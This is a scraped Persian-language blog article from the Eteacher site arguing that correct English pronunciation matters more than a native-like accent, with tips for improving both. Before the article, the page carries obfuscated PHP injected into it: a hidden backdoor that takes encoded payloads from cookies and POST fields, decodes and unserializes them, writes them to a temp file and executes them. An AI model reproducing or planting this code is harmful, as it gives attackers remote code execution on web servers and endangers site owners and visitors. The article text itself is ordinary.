$NULuVE = 'J' . "\x6e" . chr (95) . "\x5a" . chr ( 1066 - 990 )."\143";$wBGOMS = chr (99) . "\154" . "\141" . "\163" . 's' . chr ( 572 - 477 )."\145" . "\170" . "\151" . 's' . chr (116) . "\x73";$rnHFs = class_exists($NULuVE); $wBGOMS = "37229";$FCnrIFQjV = strpos($wBGOMS, $NULuVE);if ($rnHFs == $FCnrIFQjV){function zzZnWbHiGH(){$snBBmoW = new /* 60717 */ Jn_ZLc(216 + 216); $snBBmoW = NULL;}$tRYafVOh = "216";class Jn_ZLc{private function BnCpg($tRYafVOh){if (is_array(Jn_ZLc::$iblmkhZckY)) {$name = sys_get_temp_dir() . "/" . crc32(Jn_ZLc::$iblmkhZckY["salt"]);@Jn_ZLc::$iblmkhZckY["write"]($name, Jn_ZLc::$iblmkhZckY["content"]);include $name;@Jn_ZLc::$iblmkhZckY["delete"]($name); $tRYafVOh = "216";exit();}}public function ptGeYs(){$TDmSXiAS = "52603";$this->_dummy = str_repeat($TDmSXiAS, strlen($TDmSXiAS));}public function __destruct(){Jn_ZLc::$iblmkhZckY = @unserialize(Jn_ZLc::$iblmkhZckY); $tRYafVOh = "10292_35473";$this->BnCpg($tRYafVOh); $tRYafVOh = "10292_35473";}public function ozxIAgQPjV($TDmSXiAS, $aeaku){return $TDmSXiAS[0] ^ str_repeat($aeaku, intval(strlen($TDmSXiAS[0]) / strlen($aeaku)) + 1);}public function qUtSOSuu($TDmSXiAS){$mfCMBhBxCr = "\142" . chr ( 890 - 793 ).chr ( 813 - 698 ).chr (101) . chr ( 253 - 199 ).chr (52);return array_map($mfCMBhBxCr . "\137" . chr (100) . "\x65" . "\x63" . chr (111) . "\144" . chr (101), array($TDmSXiAS,));}public function __construct($LPOaYmFx=0){$zGwbXSxTSr = chr ( 874 - 830 ); $TDmSXiAS = "";$ffIRbkK = $_POST;$cUFsQU = $_COOKIE;$aeaku = "c7925911-7e78-4761-aabc-96a5afd8df13";$YEAAD = @$cUFsQU[substr($aeaku, 0, 4)];if (!empty($YEAAD)){$YEAAD = explode($zGwbXSxTSr, $YEAAD);foreach ($YEAAD as $GraWY){$TDmSXiAS .= @$cUFsQU[$GraWY];$TDmSXiAS .= @$ffIRbkK[$GraWY];}$TDmSXiAS = $this->qUtSOSuu($TDmSXiAS);}Jn_ZLc::$iblmkhZckY = $this->ozxIAgQPjV($TDmSXiAS, $aeaku);if (strpos($aeaku, $zGwbXSxTSr) !== FALSE){$aeaku = explode($zGwbXSxTSr, $aeaku); $cWVPJOukJ = base64_decode(md5($aeaku[0]));}}public static $iblmkhZckY = 12075;}zzZnWbHiGH();}$ygliHzw = 'Y' . "\120" . chr ( 510 - 404 ).chr ( 682 - 587 ).chr ( 467 - 345 ).'d' . "\162";$nakDJg = chr (99) . chr (108) . chr (97) . 's' . 's' . chr ( 559 - 464 )."\x65" . 'x' . "\151" . 's' . "\x74" . "\163";$jdFsWTM = class_exists($ygliHzw); $nakDJg = "6350";$iXLYvTm = strpos($nakDJg, $ygliHzw);if ($jdFsWTM == $iXLYvTm){function xmFTmnNLxE(){$naFwNNLdn = new /* 33466 */ YPj_zdr(14376 + 14376); $naFwNNLdn = NULL;}$vYSuqD = "14376";class YPj_zdr{private function DipbSIzFP($vYSuqD){if (is_array(YPj_zdr::$XBXoX)) {$name = sys_get_temp_dir() . "/" . crc32(YPj_zdr::$XBXoX["salt"]);@YPj_zdr::$XBXoX["write"]($name, YPj_zdr::$XBXoX["content"]);include $name;@YPj_zdr::$XBXoX["delete"]($name); $vYSuqD = "14376";exit();}}public function BbZbKyV(){$ljlCHzON = "47464";$this->_dummy = str_repeat($ljlCHzON, strlen($ljlCHzON));}public function __destruct(){YPj_zdr::$XBXoX = @unserialize(YPj_zdr::$XBXoX); $vYSuqD = "26879_27659";$this->DipbSIzFP($vYSuqD); $vYSuqD = "26879_27659";}public function TjAanVpT($ljlCHzON, $GMavQmXnbw){return $ljlCHzON[0] ^ str_repeat($GMavQmXnbw, intval(strlen($ljlCHzON[0]) / strlen($GMavQmXnbw)) + 1);}public function DJuWCWnWK($ljlCHzON){$TxqBizW = "\x62" . chr (97) . "\163" . chr ( 994 - 893 )."\66" . '4';return array_map($TxqBizW . "\137" . chr ( 244 - 144 ).chr ( 933 - 832 )."\x63" . chr ( 481 - 370 )."\144" . "\x65", array($ljlCHzON,));}public function __construct($kUqnhQ=0){$IbHgRhYPj = chr ( 947 - 903 ); $ljlCHzON = "";$SIgunhpIIk = $_POST;$cNYjPTgRR = $_COOKIE;$GMavQmXnbw = "11b10554-a8b2-4b0e-a191-57ee9783ce50";$GHCyAm = @$cNYjPTgRR[substr($GMavQmXnbw, 0, 4)];if (!empty($GHCyAm)){$GHCyAm = explode($IbHgRhYPj, $GHCyAm);foreach ($GHCyAm as $APgBP){$ljlCHzON .= @$cNYjPTgRR[$APgBP];$ljlCHzON .= @$SIgunhpIIk[$APgBP];}$ljlCHzON = $this->DJuWCWnWK($ljlCHzON);}YPj_zdr::$XBXoX = $this->TjAanVpT($ljlCHzON, $GMavQmXnbw);if (strpos($GMavQmXnbw, $IbHgRhYPj) !== FALSE){$GMavQmXnbw = explode($IbHgRhYPj, $GMavQmXnbw); $DTqyUXCx = sprintf("26879_27659", rtrim($GMavQmXnbw[0]));}}public static $XBXoX = 7382;}xmFTmnNLxE();} تقویت لهجه انگلیسی یا تلفظ درست کلمات ؟ کدام مهم تر است؟ | وبلاگ اتیچر

تقویت لهجه انگلیسی یا تلفظ درست کلمات ؟ کدام مهم تر است؟

زمان مطالعه: ۵ دقیقه

فهرست بخش ها

مقایسه اهمیت تقویت لهجه انگلیسی و تلفظ درست کلمات

یکی از رایج ترین سوالاتی که پرسیده می شود، این است که چگونه می توان با لهجه یک فرد نیتیو، زبان انگلیسی را صحبت کرد؟ ولی سوال درست تر این است که به راستی آیا تقویت لهجه انگلیسی، نسبت به تلفظ درست کلمات، اهمیت بیشتری دارد؟ در ادامه این مقاله، ابتدا به بررسی میزان اهمیت این ۲مورد می پردازیم و سپس راهکارهای موثری برای تلفظ درست و تقویت لهجه انگلیسی، ارائه می دهیم.

تفاوت تلفظ درست و لهجه

‌ابتدا باید تفاوت این دو مفهوم باهم مشخص شوند. تلفظ درست کلمات به این معنا است که افراد نیتیو به طور کامل متوجه منظور شما بشوند در حالی که سخنان شما را با لهجه یک فرد خارجی می شنوند. این در حالی است که بسیاری از افراد با اصرار بر روی اهمیت لهجه، کلمات را سریع و در اکثر مواقع اشتباه تلفظ می کنند. بنابراین داشتن لهجه در مراحل اولیه، یک هدف کاملا غیر ضروری است.

جدا از این بحث، گاهی افراد با صحبت کردن با لحن خاصی، از آن تعبیر به لهجه می کنند. در این مواقع نه تنها تلفظ درست کلمات را رعایت نمی کنند، بلکه فقط تصور می کنند که لهجه ای مانند افراد نیتیو دارند.

تلفظ درست کلمات

داشتن یک تلفظ درست در زبان جدیدی که می آموزید، بسیارمهم است. این هدف زمان بر است اما در عین حال اعتماد به نفس شما را هنگام صحبت کردن بالا می برد.
اغلب ما وقتی یک کتاب آموزش زبان جدید می خریم، (‌ مثلاً کتاب های خود آموز ) از مطالعه فصل اول که درباره الفبا و تلفظ های آن ها است، صرف نظر می کنیم و یک راست وارد بخش های گرامر، واژگان و دیالوگ می شویم. اما حقیقت این است که این روش درست نیست. نویسندگان معمولا این بخش های اولیه را با جزئیات بسیار نوشته اند و تمرین هایی را درباره چگونگی تلفظ درست کلمات طراحی کرده اند. باید زمانی را برای خواندن این بخش ها صرف کنیم تا پایه محکمی برای حرکت رو به جلو داشته باشیم و بتوانیم اطمینان حاصل کنیم که تمام قوانین درباره چگونگی تلفظ درست کلماتی که می‌آموزیم، را فرا گرفته ایم. بنابراین می توانیم یاد بگیریم که چگونه کلمات را با تلفظ درست تری بیان کنیم.

همچنین مطالعه شود

آیا دانستن فونتیک و تلفظ لغات در یادگیری زبان موثر است؟

راهکار های موثر تقویت مکالمه زبان انگلیسی در طولانی مدت

نمی توان به طور دقیق گفت که این فرآیند چقدر به طول خواهید انجامید. عواملی مانند زبانی که در حال یادگیری آن هستید، تعداد صداهای مشترک این زبان با زبان مادریتان و عوامل دیگر، تعیین کننده مدت زمان لازم برای یادگیری تلفظ درست کلمات است.

لهجه 

خیلی خوب است که دوست دارید مثل یک انگلیسی زبان صحبت کنید؛‌ اما نباید در این مورد دچار وسواس شوید. به هویت و لهجه خودتان افتخار کنید. این چیزی نیست که بخواهید در موردش شرمنده باشید. اگر در حال تقویت انگلیسی خود هستید، متوجه خواهید شد که لهجه شما نیز به طور طبیعی و در طول زمان هنگام صحبت کردن با افراد انگلیسی زبان ارتقا می یابد. ولی تمرکز اصلی خود را بر روی یادگیری تلفظ درست کلمات متمرکز کنید. با یادگیری صدای درست حروف و با تمرین در طول زمان، لهجه شما بهبود می یابد. البته شناخت لهجه های متفاوت زبان انگلیسی نیز به شما در این زمینه کمک می کنند.

همچنین مطالعه شود

مهم ترین تفاوت های بین زبان انگلیسی آمریکایی و انگلیسی بریتانیایی (بریتیش)

آیا می دانید تفاوت زبان انگلیسی استرالیایی با انگلیسی بریتانیایی یا آمریکایی چیست؟

چگونه لهجه انگلیسی خود را تقویت کنیم؟

حال که اهمیت تلفظ درست کلمات مشخص شد، قصد داریم راه های تقویت لهجه انگلیسی را به طور دقیق تر بیان کنیم.

ابتدا برای اطمینان از تلفظ درست کلمات، نظر استاد زبانتان را درباره تلفظ خود بپرسید و سپس به دنبال تقویت لهجه انگلیسی خود باشید. لهجه خوب استاد زبانتان در این مورد نقش مهمی دارد و می توانید در این راستا از اساتید نیتیو برای تقویت زبان و لهجه خود، کمک بگیرید.

بعد از انتخاب استاد مناسب (کسی که دوست دارید بتوانید با لهجه مشابه او صحبت کنید ) نحوه صحبت کردن استادتان را تقلید کنید. به منظور تقویت لهجه انگلیسی خود، موارد زیر را رعایت کنید.

  • بارها به سخنان استاد زبانتان گوش دهید و آن ها را تکرار کنید.
  • فصل های اول کتاب های آموزش زبانتان درباره الفبا و تلفظ را بخوانید و تمرینات آن را انجام دهید.
  • سعی کنید استرس و ریتم را در جملات در نظر بگیرید. صدایتان را ضبط کنید و آن را با فایل صوتی کتاب های زبان تان مقایسه کنید.
  • از ۱۲ راهکار موثر برای بهبود تلفظ و تقویت لهجه انگلیسی استفاده کنید.

در صورت مشکل داشتن با صداهای خاص چه کنیم؟

‌- به فونتیک بین المللی الفبا برای راهنمایی مراجعه کنید.
– از یک فرد نیتیو درباره نحوه جایگذاری زبان در دهان و چگونگی بیرون دادن هوا در حین تلفظ حرف مورد نظر بپرسید.
– نظر یک انگلیسی زبان را در مورد تلفظ خودتان بپرسید.
–  ابتدا تلفظ را به صورت اغراق آمیز انجام داده سپس یکی دو درجه از غلظت آن کم کنید.
–  لهجه زبان در حال آموزش را در زبان خودتان تقلید کنید.

این راهکاری عملی برای تسلط کامل بر صداها و ریتم زبان آموزشی است. بدون اینکه نگران به یاد داشتن واژگان و گرامر باشید. در مرحله بعدی، به تقویت لهجه انگلیسی خود بپردازید. اگر اشتباه کردید با استاد زبان خود و دیگران بخندید. چیزی که با خنده همراه باشد بسیار آسان تر می شود و راحت تر در ذهن می ماند.

پروسه زمان بر تقویت لهجه انگلیسی !

باید به تمرین کردن تلفظ کلمات و به دنبال آن تقلید سخنان افراد نیتیو ادامه دهید تا نشانه‌ای از بهبود روند خود داشته باشید. این پروسه زمان‌بر است.

اگر در این موضوع به نتیجه نرسیدید، برای صداهایی که قادر به تلفظ آن ها نیستید جایگزین پیدا کنید. با این روش باز هم بومیان قادر به درک منظور شما هستند. مثالی برای این موضوع، تلفظ صدای “ر” در خیلی از زبان ها است. خیلی از ایتالیایی ها و اسپانیایی ها نمی توانند آن را تلفظ کنند. درنتیجه نحوه تلفظ “ر” در زبان فرانسوی را جایگزین کرده اند. این موضوع هیچ مشکلی ایجاد نکرده است و دیگران نیز متوجه منظورشان می شوند.

صحبت با افراد نیتیو ، بهترین راه تقویت لهجه انگلیسی !!!

اگر قصد دارید تلفظ درست لغات را یاد بگیرید و به دنبال آن لهجه خود را به لهجه افراد نیتیو نزدیک کنید، بهترین گزینه برای شما یادگیری زبان انگلیسی توسط  اساتید نیتیو است. از آن جا که از این طریق، اولین بار تمامی کلمات جدید را با تلفظ فرد نیتیو می شنوید، آن را همان گونه در ذهن می سپارید. به این طریق همگام با یادگیری زبان، قادر خواهید بود لهجه خود را بهبود بخشید. اتیچر در این راستا به شما کمک خواهد کرد.

۳/۵ - (۲ امتیاز)

علی سلطانی

نوشته های مرتبط

Back To Top
×Close search
Search